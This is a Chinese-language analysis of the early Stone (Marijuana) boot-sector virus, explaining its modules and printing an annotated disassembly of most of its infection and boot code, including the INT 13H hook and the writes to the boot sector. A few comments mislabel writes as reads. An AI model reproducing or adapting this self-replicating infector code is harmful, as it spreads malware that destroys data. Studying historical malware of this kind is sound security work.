1.病毒概要
大麻病毒,又名紐西蘭病毒(Stone、Marijuana),是一種計算機發展早期的引導區病毒,其傳染力極強。它通過軟碟侵染硬碟,且會将系統盤以外的普通硬碟一概感染。大麻病毒占用的記憶體極小,總共不到400個位元組,其雖然極具侵染力,但本身沒有刻意的破壞代碼,但卻往往會引起檔案、資料丢失。大麻病毒是針對MBR的引導病毒,所幸目前很多電腦已經采用UEFI引導模式并淘汰掉了軟碟啟動模式,大麻病毒不再具有當年的破壞力。
2.病毒原理
2.1 感染方式
大麻病毒的核心是在系統原引導程式之前插入一段大麻病毒自己的引導子產品,并在這一子產品上進行大麻病毒的全部操作。也就是說大麻病毒最初的感染必定是在電腦重新開機時進行的,而病毒的傳染子產品會在電腦運作過程中每次調用INT 13H(13号中斷)出現。
![](https://img.laitimes.com/img/__Qf2AjLwojIjJCLyojI0JCLiAzNfRHLGZkRGZkRfJ3bs92YsYTMfVmepNHLxUFVPFTVE1EeRpHW4Z0MMBjVtJWd0ckW65UbM5WOHJWa5kHT20ESjBjUIF2X0hXZ0xCMx81dvRWYoNHLrdEZwZ1Rh5WNXp1bwNjW1ZUba9VZwlHdssmch1mclRXY39CXldWYtlWPzNXZj9mcw1ycz9WL49zZuBnL1MjMxQzMxcTM0IjMwkTMwIzLc52YucWbp5GZzNmLn9Gbi1yZtl2Lc9CX6MHc0RHaiojIsJye.png)
大麻病毒分為了上圖所示的三個子產品:引導子產品、傳染子產品、表現子產品,其中起到主要作用的是引導子產品和傳染子產品,在本文中我将重點進行分析。值得一提的是,大麻病毒的傳染子產品僅用于感染A盤(軟碟),而對電腦硬碟的感染是在引導子產品裡進行的。也就是說,電腦每次重新啟動時(執行引導子產品),會感染一次硬碟;而系統運作過程中調用INT 13H時(執行傳染子產品、表現子產品),隻會對軟碟進行感染。
上述感染模式也不難了解。大麻病毒主要通過軟碟進行傳染,每次插入軟碟時都會執行一次INT 13H,這時直接執行感染子產品将軟碟感染即可。而硬碟不能熱拔插,其裝載必須關機插入主機闆上的I/O接口,是以隻需要在引導子產品裡進行對硬碟的感染、每次開機時執行一遍就行了。這種感染模式大大加強了大麻病毒的傳染能力。
2.2引導子產品
大麻病毒的引導子產品是其最為核心的部分,是通過感染大麻病毒時重寫在分區引導塊裡的,每次開機時會在原引導子產品之前被執行。在此我畫出了思維導圖進行流程梳理:
可以發現,大麻病毒的引導子產品分了兩個種類——軟碟引導和硬碟引導。衆所周知,大麻病毒是通過軟碟傳染的,是以一台電腦首次被感染時進行的是軟碟引導,在引導過程中将所有硬碟分區引導塊放到了0柱0頭第七扇區,而原引導塊的位置注入了與引導資料組裝好的硬碟大麻病毒。之後的使用過程中,系統硬碟已經感染了大麻病毒,病毒便直接通過硬碟進行引導,目的是改寫INT 13H,以及感染所有沒有被感染上大麻病毒的硬碟。
2.3 傳染子產品
傳染子產品在每一次調用INT 13H(13号中斷)時執行,是通過感染時重寫INT 13H實作的。傳染子產品的作用是感染插入的軟碟,在執行完畢後會執行正常的INT 13H。相對而言傳染子產品的内容較為簡單,主要内容是對是否插入未受感染的軟碟的檢測以及對其進行感染。其大緻流程如下:
2.4表現子產品
大麻病毒的表現子產品就是所有程式員都喜聞樂見的部分。在表現子產品中,我們可以放飛自我,如早期大麻病毒輸出的“Your PC is now stoned”或“LEGALISE MARIJUANA!”。我們可以在這一部分裡做一些更有創意的事情,比如用蜂鳴器彈一首千本櫻。
2.5 病毒危害
大麻病毒作為最早期的計算機病毒,其本身并不攜帶惡意代碼,其導緻的危害主要為以下幾點:
1) 減少了2KB的記憶體空間
在開機引導時,大麻病毒隐藏了2KB記憶體,并将它自己駐留進去。
2) 降低了引導速度與INT 13H執行速度
在原引導和原INT 13H執行之前,大麻病毒會執行自己的引導子產品和感染子產品,進而降低了執行速度。
3) 可能發生檔案丢失
大麻病毒在進行感染時,會重寫引導程式,并将原引導程式放在了軟碟/硬碟上的其他扇區,将自己的引導放在了原引導位置,進而導緻原引導程式覆寫的新扇區上的原檔案丢失。
3.病毒代碼分析
以下為大麻病毒的部分代碼,我将對其進行分段大緻分析。
一.首先是大麻病毒的傳染子產品部分:
1.檢測是否為讀寫操作(讀為02,寫為03)和軟碟操作。檢查讀寫通過比較AH的值是否大于等于02且小于04來判斷,檢查軟碟操作通過判斷DL的值是否為0。如果并非讀寫軟碟操作,則跳過大麻病毒的傳染子產品:
0017: 80 FC 02 CMP AH,$02
001A: 72 17 JB $0033
001C: 80 FC 04 CMP AH,$04
001F: 73 12 JNB $0033
0021: 0A D2 OR DL,DL
0023: 75 0E JNZ $0033
2.判斷軟碟上是否開啟。檢查043F的值是否是01,如果不是,則執行003A的INFECT程式,否則跳過感染子產品:
0029: A0 3F 04 MOV AL,DS:$043F
002C: A8 01 TEST AL,$01
002E: 75 03 JNZ $0033
0030: E8 07 00 CALL $003A
3.執行原INT 13H。上面的三次檢查均跳到了0033處,而0033~0035就是清空棧記憶體并執行原INT 13H的過程:
0033: 58 POP AX
0034: 1F POP DS
0035: 2E FF 2E 09 00 JMP FAR CS:$0009
4.首先将寄存器的參數壓入棧中以在感染結束後取出。用原INT 13H來讀取軟碟零面零道第一扇區4次,讀取成功跳至檢測是否已經感染的代碼,失敗則跳出傳染子產品:
003A: 53 PUSH BX
003B: 51 PUSH CX
003C: 52 PUSH DX
003D: 06 PUSH ES
003E: 56 PUSH SI
003F: 57 PUSH DI
0040: BE 04 00 MOV SI,$0004 ;讀取四次
0043: B8 01 02 MOV AX,$0201 ;讀一個扇區
0046: 0E PUSH CS
0047: 07 POP ES
0048: BB 00 02 MOV BX,$0200 ;緩存區首位址[9F80:0200]
004B: 33 C9 XOR CX,CX
004D: 89 CA MOV DX,CX ;軟碟(A)零面
004F: 41 INC CX ;零道第一扇區
0050: 9C PUSHF
0051: 2E FF 1E 09 00 CALL FAR CS:$0009 ;調用原INT 13H來讀取軟碟
0056: 73 0E JNB $0066 ;讀取成功跳到檢測代碼塊0066
0058: 33 C0 XOR AX,AX
005A: 9C PUSHF
005B: 2E FF 1E 09 00 CALL FAR CS:$0009 ;軟碟複位
0060: 4E DEC SI ;次數減一
0061: 75 E0 JNZ $0043 ;沒有讀取到四次跳轉到開頭
0063: EB 35 JMP $009A ;全讀取失敗則跳出感染子產品
0065: 90 NOP
5.檢測軟碟是否被感染。比對[9F80:0000]和[9F80:0200]、[9F80:0002]和[9F80:0202]的值,來确認軟碟是否被感染。如果未被感染則繼續進行感染操作,否則跳出傳染子產品:
0066: 33 F6 XOR SI,SI
0068: BF 00 02 MOV DI,$0200
006B: FC CLD
006C: 0E PUSH CS
006D: 1F POP DS
006E: AD LODSW ;AX為[9F80:0000]
006F: 3B 05 CMP AX,DI ;比對[9F80:0000]和[9F80:0200]
0071: 75 06 JNZ $0079
0073: AD LODSW ;AX為[9F80:0002]
0074: 3B 45 02 CMP AX,DI+$02 ;比對[9F80:0002]和[9F80:0202]
0077: 74 21 JZ $009A
6.将原引導寫入軟碟零面零道第三扇區:
0079: B8 01 03 MOV AX,$0301 ;寫一個扇區
007C: BB 00 02 MOV BX,$0200 ;用軟碟的原引導寫
007F: B1 03 MOV CL,$03 ;零道第三扇區
0081: B6 01 MOV DH,$01 ;軟碟的零面
0083: 9C PUSHF
0084: 2E FF 1E 09 00 CALL CS:$0009 ;調用原INT 13H來讀取軟碟
7.将大麻病毒寫入軟碟零面零道第一扇區(原引導位置):
0089: 72 0F JB $009A ;如果出錯則跳出感染子產品
008B: B8 01 03 MOV AX,$0301 ;寫一個扇區
008E: 33 DB XOR BX,BX
0090: B1 01 MOV CL,$01 ;零道第一扇區(BH和DL不需要修改)
0092: 33 D2 XOR DX,DX
0094: 9C PUSHF
0095: 2E FF 1E 09 00 CALL FAR CS:$0009;調用原INT 13H來讀取軟碟
8.将棧内儲存的資料取回寄存器,并執行原INT 13H:
009A: 5F POP DI
009B: 5E POP SI
009C: 07 POP ES
009D: 5A POP DX
009E: 59 POP CX
009F: 5B POP BX
00A0: C3 RET
二.以下為引導子產品部分:
1.初始化寄存器(與原引導一樣):
00A1: 33 C0 XOR AX,AX
00A3: 8E D8 MOV DS,AX
00A5: FA CLI
00A6: 8E D0 MOV SS,AX
00A8: BC 00 7C MOV SP,$7C00
00AB: FB STI
2.儲存原INT 13H。将原INT 13H從004C開始的記憶體區域移動到7C09開始的記憶體區域:
00AC: A1 4C 00 MOV AX,DS:$004C
00AF: A3 09 7C MOV DS:$7C09,AX
00B2: A1 4E 00 MOV AX,DS:$004E
00B5: A3 0B 7C MOV DS:$7C0B,AX
3.隐藏2KB的記憶體——通過将0413儲存的值減二:
00B8: A1 13 04 MOV AX,DS:$0413
00BB: 48 DEC AX
00BC: 48 DEC AX
00BD: A3 13 04 MOV DS:$0413,AX
4.大麻病毒修改新的INT 13H代碼:
00C0: B1 06 MOV CL,$06
00C2: D3 E0 SHL AX,CL
00C4: 8E C0 MOV ES,AX
00C6: A3 0F 7C MOV DS:$7C0F,AX
00C9: B8 15 00 MOV AX,$0015
00CC: A3 4C 00 MOV DS:$004C,AX
00CF: 8C 06 4E 00 MOV DS:$004E,ES
00D3: B9 B8 01 MOV CX,$01B8 ;大麻病毒的長度
5. 讓INT 13H指向大麻病毒傳染子產品:
00D6: 0E PUSH CS
00D7: 1F POP DS
00D8: 33 F6 XOR SI,SI
00DA: 8B FE MOV DI,SI
6. 将大麻病毒放入記憶體最頂上(即隐藏的2KB記憶體位置):
00DC: FC CLD
00DD: F3 A4 REPZ MOVSB
00DF: 2E FF 2E 0D 00 JMP FAR CS:$000D
7.重設盤系統,準備讀寫操作,并讀軟碟零道一面第三扇區:
00E4: B8 00 00 MOV AX,$0000
00E7: CD 13 INT $13
00E9: 33 C0 XOR AX,AX
00EB: 8E C0 MOV ES,AX
00ED: B8 01 02 MOV AX,$0201 ; 讀一個扇區
00F0: BB 00 7C MOV BX,$7C00 ; 讀到7C00處
8. 判斷是否硬碟啟動,如果不是,則繼續引導并跳轉到表現子產品,否則執行原引導(即判斷如果是軟碟啟動則繼續):
00F3: 2E803E0800 00 CMP BYTE PTR CS:$0008,$00
00F9: 74 0B JZ $0106
00FB: B9 07 00 MOV CX,$0007
00FE: BA 80 00 MOV DX,$0080
0101: CD 13 INT $13 ;讀取原INT 13H
0103: EB 49 JMP $014E ;執行原引導
0105: 90 NOP
9.表現子產品的計時器,随機一個數出來:
0106: B9 03 00 MOV CX,$0003
0109: BA 00 01 MOV DX,$0100
010C: CD 13 INT $13
010E: 72 3E JB $014E
0110: 26F6066C0407 TEST BYTE PTR ES:$046C,$07 ;随機數
0116: 75 12 JNZ $012A
10.表現子產品的内容,隻有随機數是8的倍數才會執行。此處有一大段對dos界面輸出文字及其格式的設定,我暫且不在此一一分析:
0118: BE 89 01 MOV SI,$0189
011B: 0E PUSH CS
011C: 1F POP DS
011D: AC LODSB
011E: 0A C0 OR AL,AL
0120: 74 08 JZ $012A
0122: B4 0E MOV AH,$0E
0124: B7 00 MOV BH,$00
0126: CD 10 INT $10
0128: EB F3 JMP $011D
012A: 0E PUSH CS
012B: 07 POP ES
012C: B8 01 02 MOV AX,$0201
012F: BB 00 02 MOV BX,$0200
0132: B1 01 MOV CL,$01
0134: BA 80 00 MOV DX,$0080
0137: CD 13 INT $13
0139: 72 13 JB $014E
013B: 0E PUSH CS
013C: 1F POP DS
013D: BE 00 02 MOV SI,$0200
0140: BF 00 00 MOV DI,$0000
0143: AD LODSW
0144: 3B 05 CMP AX,DI
0146: 75 11 JNZ $0159
0148: AD LODSW
0149: 3B 45 02 CMP AX,DI+$02
014C: 75 0B JNZ $0159
014E: 2E C6 06 08 00 00 MOV BYTE PTR CS:$0008,$00
0154: 2E FF 2E 11 00 JMP CS:$0011
11.感染硬碟:
1)給0008指派02H(帶毒硬碟标記)
2)将0200開始存的分區引導塊存入硬碟0柱0頭第七扇區
0159: 2E C6 06 08 00 02 MOV BYTE PTR CS:$0008,$02;打上病毒标記
015F: B8 01 03 MOV AX,$0301 ;寫一個扇區
0162: BB 00 02 MOV BX,$0200 ;0200存原引導
0165: B9 07 00 MOV CX,$0007 ;0柱第七扇區
0168: BA 80 00 MOV DX,$0080 ;0頭,80驅動
016B: CD 13 INT $13 ;原INT 13H
016D: 72 DF JB $014E ;出現錯誤則跳出
3)将從03BE開始的分區引導資料(242H)寫入從01BE開始的區域
016F: 0E PUSH CS
0170: 1F POP DS
0171: 0E PUSH CS
0172: 07 POP ES
0173: BE BE 03 MOV SI,$03BE
0176: BF BE 01 MOV DI,$01BE
0179: B9 42 02 MOV CX,$0242
017C: F3 A4 REPZ MOVSB
017E: B8 01 03 MOV AX,$0301
0181: 33 DB XOR BX,BX
0183: FE C1 INC CL
12.執行原引導程式:
0185: CD 13 INT $13
0187: EB C5 JMP $014E
EX1.這裡存放大麻病毒的标志資訊:Your PC is now STONED!:
0189: 07 59 6F 75
018D: 72 20 50
0190: 43 20 69
0193: 73 20 6E
0196: 6F
0197: 77 20 53
019A: 54 4F 4E
019D: 45
019E: 44 21 07
01A1: 0D 0A 0A 00
EX2.這裡存放大麻病毒的标志資訊:LEGALISE MARIJUANA!:
01A5: 4C 45 47 41
01A9: 4C 49 53
01AC: 45 20 4D 41
01B0: 52 49 4A
01B3: 55 41 4E 41 21
對大麻病毒的代碼主要部分分析就到此了,通過對彙編代碼的分析能更深入的了解大麻病毒的本質與結構